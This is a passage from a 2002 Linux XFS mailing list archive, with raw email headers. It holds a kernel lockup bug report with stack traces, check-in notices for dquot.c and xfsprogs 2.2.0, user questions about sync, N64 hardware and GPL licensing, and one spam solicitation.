-Brian __________________________________________________ Do You Yahoo!? Yahoo! Health - Feel better, live better http://health.yahoo.com From owner-linux-xfs@oss.sgi.com Wed Aug 7 08:28:19 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g77FSJRw005651 for ; Wed, 7 Aug 2002 08:28:19 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g77FSJqI005650 for linux-xfs-outgoing; Wed, 7 Aug 2002 08:28:19 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from hawk.exanet-il.co.il ([212.143.73.98]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g77FRsRw005620 for ; Wed, 7 Aug 2002 08:27:55 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: XFS related lockup when umounting Date: Wed, 7 Aug 2002 18:21:15 +0200 Message-ID: <4913AB320D31DC4798D6FEF5F557351F6B990F@hawk.exanet-il.co.il> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Index: AcI+LWLOuZtiwHjNSqWC/rIkqaVycgAACUbg From: "Nir Soffer" To: Cc: "Yuval Yeret" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g77FRuRw005623 X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hello! Kernel 2.4.18-4 + XFS (Version 1.1, I believe). Machine was powered off, and the kernel complained of XFS errors on the root disk, thus refusing to boot. Moved disk to another machine and ran xfs_repair, which suggested we attempt mounting the file system first. mount complained but still succeeded. attempting to umount the file system crashed the system horribly. Attached is the log excerpt from the umount attempt. Two questions: A. Is this a known issue? B. If it is - has this been resolved? Can anyone point me to a stable(r) version of XFS for the 2.4.18 kernels? I'll be glad to (attempt) to supply any more information regarding this incident. Thanks! Nir. Aug 7 18:15:28 node0 kernel: XFS mounting filesystem sd(8,23) Aug 7 18:15:31 node0 kernel: Starting XFS recovery on filesystem: sd(8,23) (dev: 8/23) Aug 7 18:15:31 node0 kernel: xfs_inotobp: xfs_imap() returned an error 22 on sd(8,23). Returning error. Aug 7 18:15:31 node0 kernel: xfs_iunlink_remove: xfs_inotobp() returned an error 22 on sd(8,23). Returning error. Aug 7 18:15:31 node0 kernel: xfs_inactive: xfs_ifree() returned an error = 22 on sd(8,23) Aug 7 18:15:31 node0 kernel: xfs_force_shutdown(sd(8,23),0x1) called from line 1962 of file xfs_vnodeops.c. Return address = 0xc021e801 Aug 7 18:15:31 node0 kernel: I/O Error Detected. Shutting down filesystem: sd(8,23) Aug 7 18:15:31 node0 kernel: Please umount the filesystem, and rectify the problem(s) Aug 7 18:15:31 node0 kernel: Ending XFS recovery on filesystem: sd(8,23) (dev: 8/23) Aug 7 18:15:45 node0 kernel: NMI Watchdog detected LOCKUP on CPU1, eip c02268cd, registers: Aug 7 18:15:45 node0 kernel: CPU: 1 Aug 7 18:15:45 node0 kernel: EIP: 0010:[.text.lock.page_buf+109/320] Not tainted Aug 7 18:15:45 node0 kernel: EIP: 0010:[] Not tainted Aug 7 18:15:45 node0 kernel: EFLAGS: 00000086 Aug 7 18:15:45 node0 kernel: Aug 7 18:15:45 node0 kernel: EIP is at (2.4.18-4exa) Aug 7 18:15:45 node0 kernel: eax: f71ea160 ebx: f71ea160 ecx: f71ea1d4 edx: 00000000 Aug 7 18:15:45 node0 kernel: esi: 00000202 edi: 00000282 ebp: 00000001 esp: f4783e58 Aug 7 18:15:45 node0 kernel: ds: 0018 es: 0018 ss: 0018 Aug 7 18:15:46 node0 kernel: Process umount (pid: 12344, stackpage=f4783000) Aug 7 18:15:46 node0 kernel: Stack: 00000000 f71ea160 c01ec7d6 f71ea160 00000287 00000282 00000001 c02252de Aug 7 18:15:46 node0 kernel: f71ea160 f1493760 c0225398 f71ea160 f71ea160 c022356b f71ea160 00000000 Aug 7 18:15:46 node0 kernel: f3df2400 f1909884 00000001 f71ea160 c0226515 f71ea160 00000000 00000000 Aug 7 18:15:46 node0 kernel: Call Trace: [xfs_buf_iodone_callbacks+150/384] Aug 7 18:15:46 node0 kernel: Call Trace: [] Aug 7 18:15:46 node0 kernel: [pagebuf_rele+126/144] Aug 7 18:15:46 node0 kernel: [] Aug 7 18:15:46 node0 kernel: [pagebuf_iodone+56/128] Aug 7 18:15:46 node0 kernel: [] Aug 7 18:15:46 node0 kernel: [xfs_bioerror+75/96] Aug 7 18:15:46 node0 kernel: [] Aug 7 18:15:46 node0 kernel: [pagebuf_delwri_flush+293/624] Aug 7 18:15:46 node0 kernel: [] Aug 7 18:15:46 node0 kernel: [xfs_ibusy+92/160] Aug 7 18:15:46 node0 kernel: [] Aug 7 18:15:46 node0 kernel: [xfs_ibusy+138/160] Aug 7 18:15:46 node0 kernel: [] Aug 7 18:15:46 node0 kernel: [xfs_unmount+221/384] Aug 7 18:15:46 node0 kernel: [] Aug 7 18:15:46 node0 kernel: [fs_dounmount+84/112] Aug 7 18:15:46 node0 kernel: [] Aug 7 18:15:46 node0 kernel: [linvfs_put_super+47/144] Aug 7 18:15:46 node0 kernel: [] Aug 7 18:15:46 node0 kernel: [kill_super+248/352] Aug 7 18:15:46 node0 kernel: [] Aug 7 18:15:46 node0 kernel: [path_release+41/48] Aug 7 18:15:46 node0 kernel: [] Aug 7 18:15:46 node0 kernel: [sys_umount+177/192] Aug 7 18:15:46 node0 kernel: [] Aug 7 18:15:46 node0 kernel: [sys_oldumount+12/16] Aug 7 18:15:46 node0 kernel: [] Aug 7 18:15:46 node0 kernel: [system_call+51/56] Aug 7 18:15:46 node0 kernel: [] Aug 7 18:15:46 node0 kernel: Aug 7 18:15:46 node0 kernel: Aug 7 18:15:46 node0 kernel: Code: 7e f8 e9 95 e9 ff ff e8 3b 11 ee ff e9 fd ea ff ff 80 3d b4 Aug 7 18:15:46 node0 kernel: console shuts up ... Aug 7 18:15:51 node0 kernel: NMI Watchdog detected LOCKUP on CPU0, eip c02268cd, registers: Aug 7 18:15:51 node0 kernel: CPU: 0 Aug 7 18:15:51 node0 kernel: EIP: 0010:[.text.lock.page_buf+109/320] Not tainted Aug 7 18:15:51 node0 kernel: EIP: 0010:[] Not tainted Aug 7 18:15:51 node0 kernel: EFLAGS: 00000086 Aug 7 18:15:51 node0 kernel: Aug 7 18:15:51 node0 kernel: EIP is at (2.4.18-4exa) Aug 7 18:15:51 node0 kernel: eax: f705fee0 ebx: f705fee0 ecx: f705ff54 edx: 00000000 Aug 7 18:15:51 node0 kernel: esi: 00000202 edi: c45bce88 ebp: f7b01fe0 esp: f7b1df44 Aug 7 18:15:51 node0 kernel: ds: 0018 es: 0018 ss: 0018 Aug 7 18:15:51 node0 kernel: Process pagebuf_daemon (pid: 11, stackpage=f7b1d000) Aug 7 18:15:51 node0 kernel: Stack: f705fee0 f705fee0 c02253c5 f705fee0 00000010 c01ec7b3 f705fee0 00000206 Aug 7 18:15:52 node0 kernel: c45bce88 f7b01fe0 c02252de f705fee0 00000202 c0225398 f705fee0 f705fee0 Aug 7 18:15:52 node0 kernel: c022356b f705fee0 c03442f8 00000064 f7b1dfc0 f7b01fe0 f705fee0 c0226330 Aug 7 18:15:52 node0 kernel: Call Trace: [pagebuf_iodone+101/128] Aug 7 18:15:52 node0 kernel: Call Trace: [] Aug 7 18:15:52 node0 kernel: [xfs_buf_iodone_callbacks+115/384] Aug 7 18:15:52 node0 kernel: [] Aug 7 18:15:52 node0 kernel: [pagebuf_rele+126/144] Aug 7 18:15:52 node0 kernel: [] Aug 7 18:15:52 node0 kernel: [pagebuf_iodone+56/128] Aug 7 18:15:52 node0 kernel: [] Aug 7 18:15:52 node0 kernel: [xfs_bioerror+75/96] Aug 7 18:15:52 node0 kernel: [] Aug 7 18:15:52 node0 kernel: [pagebuf_daemon+480/672] Aug 7 18:15:52 node0 kernel: [] Aug 7 18:15:52 node0 kernel: [ret_from_fork+6/32] Aug 7 18:15:52 node0 kernel: [] Aug 7 18:15:52 node0 kernel: [pagebuf_daemon_wakeup+0/64] Aug 7 18:15:52 node0 kernel: [] Aug 7 18:15:53 node0 kernel: [_stext+0/64] Aug 7 18:15:53 node0 kernel: [] Aug 7 18:15:53 node0 kernel: [_stext+0/64] Aug 7 18:15:53 node0 kernel: [] Aug 7 18:15:53 node0 kernel: [kernel_thread+38/48] Aug 7 18:15:53 node0 kernel: [] Aug 7 18:15:53 node0 kernel: [pagebuf_daemon+0/672] Aug 7 18:15:53 node0 kernel: [] Aug 7 18:15:53 node0 kernel: Aug 7 18:15:53 node0 kernel: Aug 7 18:15:53 node0 kernel: Code: 7e f8 e9 95 e9 ff ff e8 3b 11 ee ff e9 fd ea ff ff 80 3d b4 Aug 7 18:15:53 node0 kernel: console shuts up ... -- Nir Soffer -=- Software Engineer, Exanet Inc. -=- "Father, why are all the children weeping? / They are merely crying son O, are they merely crying, father? / Yes, true weeping is yet to come" -- Nick Cave and the Bad Seeds, The Weeping Song From owner-linux-xfs@oss.sgi.com Wed Aug 7 14:13:03 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g77LCgRw019606 for ; Wed, 7 Aug 2002 14:12:47 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g77LCRBL019604 for linux-xfs-outgoing; Wed, 7 Aug 2002 14:12:27 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sgi.com (sgi-too.SGI.COM [204.94.211.39]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g77LC5Rw019572 for ; Wed, 7 Aug 2002 14:12:15 -0700 Received: from curlew.cs.man.ac.uk (curlew.cs.man.ac.uk [130.88.13.7]) by sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id OAA00484 for ; Wed, 7 Aug 2002 14:14:30 -0700 (PDT) mail_from (rhowe@wiss.co.uk) Received: from sarah.stg.man.ac.uk ([130.88.186.116] helo=doufu ident=mail) by curlew.cs.man.ac.uk with esmtp (Exim 2.05 #6) id 17cXyn-000L1x-00; Wed, 7 Aug 2002 22:04:29 +0100 Received: from xiao.rsnet ([192.168.1.2] helo=xiao ident=mail) by doufu with esmtp (Exim 3.35 #1 (Debian)) id 17cYyw-0000rN-00; Wed, 07 Aug 2002 23:08:42 +0100 Received: from rhowe by xiao with local (Exim 3.35 #1 (Debian)) id 17cXyh-00051l-00; Wed, 07 Aug 2002 22:04:23 +0100 Date: Wed, 7 Aug 2002 22:04:23 +0100 To: Federico Sevilla III Cc: XFS Mailing List Subject: Re: File full of nulls again... Message-ID: <20020807210411.GA18738@xiao> References: <20020801154933.GA6523@gwyn.tux.org> <20020801172323.GJ29766@leathercollection.ph> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020801172323.GJ29766@leathercollection.ph> User-Agent: Mutt/1.4i From: Russell Howe X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Fri, Aug 02, 2002 at 01:23:23AM +0800, Federico Sevilla III wrote: > On Thu, Aug 01, 2002 at 11:49:33AM -0400, Timothy Ball wrote: > The FAQ entry[1] for this still holds. It's been revised to mention that > this happens much less with the newer kernels [snip] > Perhaps running `sync` after saving the file and before testing > what the changes did will help. :) Just to be sure.. will running sync here help? I seem to remember something about sync not flushing the log, and it being better to wait for one of the periodic log flushes. So if you expect a hang, and you can't remount ro beforehand, what actions can you take to maximise data safety? sync? waiting? making a directory and filling it with junk files to flush important stuff onto the drive? -- Russell Howe | Why be just another cog in the machine, rhowe@wiss.co.uk | when you can be the spanner in the works? From owner-linux-xfs@oss.sgi.com Wed Aug 7 15:02:05 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g77M25Rw020117 for ; Wed, 7 Aug 2002 15:02:05 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g77M25Fv020116 for linux-xfs-outgoing; Wed, 7 Aug 2002 15:02:05 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from server4.adrenamail.com (bhsd-64-133-26-18-RLY.sprinthome.com [64.133.26.18]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g77M1sRw020085; Wed, 7 Aug 2002 15:01:55 -0700 Received: from adrenamail.com (unknown [192.168.38.74]) by server4.adrenamail.com (Postfix) with ESMTP id D1BAC51C025; Wed, 7 Aug 2002 18:01:42 -0400 (EDT) To: David@adrenamail.com Cc: Subject: MIME-Version: 1.0 In-Reply-To: David@adrenamail.com Message-Id: <20020807220142.D1BAC51C025@server4.adrenamail.com> Date: Wed, 7 Aug 2002 18:01:42 -0400 (EDT) From: David@adrenamail.com X-Spam-Status: No, hits=-0.5 required=5.0 tests=IN_REP_TO,NO_REAL_NAME,FROM_AND_TO_SAME,SUBJ_MISSING version=2.20 X-Spam-Level: Content-Disposition: inline Content-Type: text/plain Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g77M25Rw020118 AdrenaMail.com Corp. 1726 Resiterstown Rd. Hilton Plaza, Suite 204 Baltimore MD 21208 Phone 410-358 4499 Fax 410-358 46 85 www.adrenamail.com Hello I am looking for a business contact information and wonder if you point me to the right person in your organization. We are a software firm from Baltimore developer of AdrenaMail: a special enterprise service, which turns every PC in a company to a powerful server! Why would a company turn every PC to a powerful server? for three reasons: It empowers the company with a commuting power available only in huge mainframes costing Millions of Dollars It reduces or eliminates server crash and congestion. It's instant and easy, no MIS coordination, no complicated network commands: if you know how to author a message, select files and groups from a list you already know how to run AdrenaMail. Using AdrenaMail, every PC can host complete WEB pages and content (including Flash, Java, etc), streaming audio and video, PowerPoint and Office documents and much more. While all transactions are SSL secured and user authenticated, a most powerful search and collaboration tools enables all users to collaborate and work in groups like never before. We do have serious inquiries from global 2000 companies, I am looking, therfore, for a business partner to market AdrenaMail for us and provide first class service for these companies Your help will be very much appreciated. Thank you. David Evgey- President www.adrenamail.com AdrenaMail – Unleash Productivity Phone: 410-358 4499 Fax: 410-358 4685 [[HTML alternate version deleted]] From owner-linux-xfs@oss.sgi.com Wed Aug 7 16:32:44 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g77NWiRw021162 for ; Wed, 7 Aug 2002 16:32:44 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g77NWixc021161 for linux-xfs-outgoing; Wed, 7 Aug 2002 16:32:44 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sgi.com (sgi-too.SGI.COM [204.94.211.39]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g77NWcRw021133 for ; Wed, 7 Aug 2002 16:32:38 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id QAA07001 for ; Wed, 7 Aug 2002 16:35:18 -0700 (PDT) mail_from (nathans@snort.melbourne.sgi.com) Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id JAA19987 for linux-xfs@oss.sgi.com; Thu, 8 Aug 2002 09:33:09 +1000 (EST) Date: Thu, 8 Aug 2002 09:33:09 +1000 (EST) From: Nathan Scott Message-Id: <200208072333.JAA19987@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - dquot.c X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Date: Wed Aug 7 16:32:51 PDT 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:124536a linux/fs/dquot.c - 1.50 - for 2.4 only, we cannot use the L1_CACHE_SHIFT macro as it is not defined for all architectures - revert to use of HASHDEV macro here. From owner-linux-xfs@oss.sgi.com Wed Aug 7 18:30:24 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g781UNRw022692 for ; Wed, 7 Aug 2002 18:30:23 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g781UNbR022690 for linux-xfs-outgoing; Wed, 7 Aug 2002 18:30:23 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from bittersweet.intra.hegbloom.net (ns.hegbloom.net [63.105.27.231]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g781UFRw022658 for ; Wed, 7 Aug 2002 18:30:15 -0700 Received: from bittersweet.intra.hegbloom.net (localhost.localnet [127.0.0.1]) by bittersweet.intra.hegbloom.net (8.12.5/8.12.5/Debian-1) with ESMTP id g781WF6i024117 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL); Wed, 7 Aug 2002 18:32:15 -0700 Received: (from karlheg@localhost) by bittersweet.intra.hegbloom.net (8.12.5/8.12.5/Debian-1) id g781WEL7024114; Wed, 7 Aug 2002 18:32:14 -0700 X-Authentication-Warning: bittersweet.intra.hegbloom.net: karlheg set sender to karlheg@hegbloom.net using -f To: linux-xfs@oss.sgi.com To: evms-devel@lists.sourceforge.net Subject: [bug ticket closure] The lockup problem is solved. "preempt" patch! From: karlheg@hegbloom.net (Karl M. Hegbloom) Date: 07 Aug 2002 18:32:14 -0700 Message-ID: <87bs8ennj5.fsf@bittersweet.intra.hegbloom.net> Lines: 17 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Honest Recruiter) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Status: No, hits=0.5 required=5.0 tests=PLING version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk While patching up a freshly unpacked Linux 2.4.18 (debian kernel-source package) with the latest EVMS and XFS patches, plus the evms-xfs fixup, I started looking around to see what other patches I had applied last time. It turns out that I had patched that kernel with the preemptible kernel patch, from Debian "kernel-patch-preempt-2.4". Which version of that patch package it was is difficult to determine at this point, since it may have been updated since the day I built that kernel. I bet that's irrelevant anyhow, since that patch necessarily does not contain any fixes for preemptibility in either XFS or EVMS. -- As any limb well and duly exercised, grows stronger, the nerves of the body are corroborated thereby. --I. Watts. .''`. Debian -- The blue collar Linux distribution. : :' : `. `' From owner-linux-xfs@oss.sgi.com Wed Aug 7 23:38:35 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g786cZRw000566 for ; Wed, 7 Aug 2002 23:38:35 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g786cZFk000565 for linux-xfs-outgoing; Wed, 7 Aug 2002 23:38:35 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sgi.com (sgi-too.SGI.COM [204.94.211.39]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g786cQRw000537 for ; Wed, 7 Aug 2002 23:38:26 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id XAA08059 for ; Wed, 7 Aug 2002 23:41:06 -0700 (PDT) mail_from (nathans@snort.melbourne.sgi.com) Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id QAA15218; Thu, 8 Aug 2002 16:39:04 +1000 (EST) Date: Thu, 8 Aug 2002 16:39:04 +1000 (EST) From: Nathan Scott Message-Id: <200208080639.QAA15218@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Cc: lnx1138@us.ibm.com Subject: TAKE - xfsprogs-2.2.0 X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Date: Wed Aug 7 23:35:44 PDT 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:124556a cmd/xfsprogs/libdisk/Makefile - 1.6 cmd/xfsprogs/libdisk/drivers.c - 1.8 cmd/xfsprogs/libdisk/evms.c - 1.1 cmd/xfsprogs/libdisk/evms.h - 1.1 - EVMS stripe unit/width extraction for mkfs consumption. cmd/xfsprogs/libdisk/md.c - 1.8 - Close device fd once we're done with it. cmd/xfsprogs/mkfs/xfs_mkfs.c - 1.34 - mkfs defaults to 4K blocksize again (as on IRIX) & no longer punts on the current pagesize as a good default. cmd/xfsprogs/VERSION - 1.51 cmd/xfsprogs/doc/CHANGES - 1.75 cmd/xfsprogs/debian/changelog - 1.49 cmd/xfsprogs/include/xfs_extfree_item.h - 1.7 cmd/xfsprogs/include/xfs_buf_item.h - 1.7 cmd/xfsprogs/include/xfs_da_btree.h - 1.10 cmd/xfsprogs/include/xfs_arch.h - 1.7 cmd/xfsprogs/include/libxfs.h - 1.15 cmd/xfsprogs/include/Makefile - 1.13 cmd/xfsprogs/include/arch.h - 1.9 cmd/xfsprogs/include/xfs_inode.h - 1.24 cmd/xfsprogs/libxfs/xfs.h - 1.22 cmd/xfsprogs/include/xfs_cap.h - 1.5 cmd/xfsprogs/include/xfs_acl.h - 1.5 - Bump version to 2.2, document changes -- sync shared headers, EVMS stripe unit/width extraction, mkfs defaults to 4K blocksize again (as on IRIX) & no longer punts on using the current pagesize. cmd/xfstests/tools/srcdiff - 1.21 - arch.h is gone, dmapi headers moved around a little. From owner-linux-xfs@oss.sgi.com Thu Aug 8 02:34:33 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g789YXRw002644 for ; Thu, 8 Aug 2002 02:34:33 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g789YXwf002643 for linux-xfs-outgoing; Thu, 8 Aug 2002 02:34:33 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mail.gmx.net (sproxy.gmx.de [213.165.64.20]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g789YPRw002612 for ; Thu, 8 Aug 2002 02:34:25 -0700 Received: (qmail 12130 invoked by uid 0); 8 Aug 2002 09:36:21 -0000 Received: from pd903c45c.dip.t-dialin.net (HELO gmx.de) (217.3.196.92) by mail.gmx.net (mp011-rz3) with SMTP; 8 Aug 2002 09:36:21 -0000 Message-ID: <3D523ABA.6020201@gmx.de> Date: Thu, 08 Aug 2002 11:32:42 +0200 From: Michael Wahlbrink User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.0) Gecko/20020530 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: Re: TAKE - xfsprogs-2.2.0 References: <200208080639.QAA15218@snort.melbourne.sgi.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi, Nathan Scott wrote: > Date: Wed Aug 7 23:35:44 PDT 2002 > Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs > > The following file(s) were checked into: > bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs > > > Modid: xfs-cmds:slinx:124556a > cmd/xfsprogs/libdisk/Makefile - 1.6 Does that mean that the 'make install' now work proper and does not install the stuff to /man /include .... (regardless the arguments of the configure script)???? > cmd/xfsprogs/libdisk/drivers.c - 1.8 [....] When will that version (2.2.0) be also availiable on ftp? Thats because I've only a slow and expensive internet connection at the moment and don't want to check out the whole 2.4 stuff from cvs. regards micha From owner-linux-xfs@oss.sgi.com Thu Aug 8 07:10:20 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g78EAKRw016089 for ; Thu, 8 Aug 2002 07:10:20 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g78EAKmq016088 for linux-xfs-outgoing; Thu, 8 Aug 2002 07:10:20 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from eag-eaga002e--n.americas.sgi.com (eaganfw1.sgi.com [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g78EAARw016057 for ; Thu, 8 Aug 2002 07:10:11 -0700 Received: by eag-eaga002e--n.americas.sgi.com with Internet Mail Service (5.5.2655.55) id ; Thu, 8 Aug 2002 09:12:09 -0500 Message-ID: From: Suzanne Engel To: "'linux-xfs@oss.sgi.com'" Subject: FW: N64 Development Date: Thu, 8 Aug 2002 09:12:08 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2655.55) Content-Type: text/plain; charset="iso-8859-1" X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Would someone please address this email inquiry? Many Thanks! -----Original Message----- From: Nigel Weeks [mailto:nigel@aims.com.au] Sent: Wednesday, August 07, 2002 7:46 PM To: devprogram@sgi.com Subject: N64 Development I've heard a rumour that SGI developed practically every chip inside the Nintendo 64. If this is true, SGI would be the perfect company to ask for information. I want to harness the horsepower of the now superceeded N64, and run Unix on them. But I need some details on the chips involved. Have any SGI developers done any of the following, and are willing to make the information known: Using the Expansion port under the N64: Ethernet support SCSI or IDE disk support? Boot from either of these media? The R4000 MIPS chip could really come in handy - and people are trowing the N64 away... Please help... -------------------------------------------------------- Nigel Weeks Aims ICP 15 Wellington St. Launceston Tas 7250 Ph. 61 3 6334 6664 Fax. 61 3 6331 7032 Email. nigel@aims.com.au Web: www.e-easy.com.au (Divisional Website) -------------------------------------------------------- Press every key to continue... From owner-linux-xfs@oss.sgi.com Thu Aug 8 07:28:44 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g78ESiRw016642 for ; Thu, 8 Aug 2002 07:28:44 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g78ESiSP016641 for linux-xfs-outgoing; Thu, 8 Aug 2002 07:28:44 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from eag-eaga002e--n.americas.sgi.com (eaganfw1.sgi.com [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g78ESXRw016607 for ; Thu, 8 Aug 2002 07:28:34 -0700 Received: by eag-eaga002e--n.americas.sgi.com with Internet Mail Service (5.5.2655.55) id ; Thu, 8 Aug 2002 09:30:27 -0500 Message-ID: From: Suzanne Engel To: "'linux-xfs@oss.sgi.com'" Subject: Sorry! . . . .wrong email attached . . . Date: Thu, 8 Aug 2002 09:30:24 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2655.55) Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C23EE7.EC358776" X-Spam-Status: No, hits=0.7 required=5.0 tests=PLING,MIME_NULL_BLOCK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C23EE7.EC358776 Content-Type: text/plain; charset="iso-8859-1" Would someone please address this email inquiry? Many Thanks! ------_=_NextPart_000_01C23EE7.EC358776 Content-Type: message/rfc822 Content-Description: XFS and GPL Message-ID: <005a01c23e8f$fba2a160$6601a8c0@james> From: James Wilkinson To: devprogram@sgi.com Subject: XFS and GPL Date: Wed, 7 Aug 2002 22:59:23 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2655.55) Content-Type: multipart/mixed; boundary="----_=_NextPart_002_01C23EE7.EC358776" ------_=_NextPart_002_01C23EE7.EC358776 Content-Type: text/plain I'm going to be working on a file system driver to be mounted on top of XFS, and I have been attempting to figure out whether or not my source code will need to be open or if it can remain proprietary? It will be original work, and no changes will be made to existing GPLed code, but I know there are differing opinions on whether adding a kernel module is considered "changing" the kernel. Perhaps you can share some insight on similar issues with XFS? Any help you can provide will be greatly appreciated. Thanks James ------_=_NextPart_002_01C23EE7.EC358776-- ------_=_NextPart_000_01C23EE7.EC358776-- From owner-linux-xfs@oss.sgi.com Thu Aug 8 08:14:31 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g78FEVRw018150 for ; Thu, 8 Aug 2002 08:14:31 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g78FEU8n018149 for 